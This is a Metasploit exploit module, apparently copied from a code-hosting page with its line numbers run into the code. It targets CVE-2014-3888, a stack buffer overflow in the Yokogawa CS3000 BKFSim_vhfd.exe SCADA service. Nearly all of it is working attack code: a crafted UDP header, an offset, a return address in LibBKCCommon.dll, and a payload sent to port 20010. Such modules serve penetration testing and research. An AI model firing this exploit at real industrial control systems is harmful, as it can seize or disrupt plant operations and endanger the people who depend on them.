Path: blob/master/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow on Yokogawa CS3000. The vulnerability17exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create18logs using functions like vsprintf and memcpy in an insecure way. This module has been19tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.20},21'Author' => [22'Redsadic <julian.vilas[at]gmail.com>',23'juan vazquez'24],25'References' => [26['CVE', '2014-3888'],27['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],28['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],29['URL', 'https://www.rapid7.com/blog/post/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']30],31'Payload' => {32'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)33'DisableNops' => true,34'BadChars' => "\x00",35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350036},37'Platform' => 'win',38'Targets' => [39[40'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',41{42'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll43'Offset' => 43844}45],46],47'DisclosureDate' => '2014-05-23',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RPORT(20010)60]61)62end6364def exploit65connect_udp6667sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header68sploit << rand_text(target['Offset'])69sploit << [target.ret].pack("V")70sploit << payload.encoded7172print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")73udp_sock.put(sploit)7475disconnect_udp76end77end787980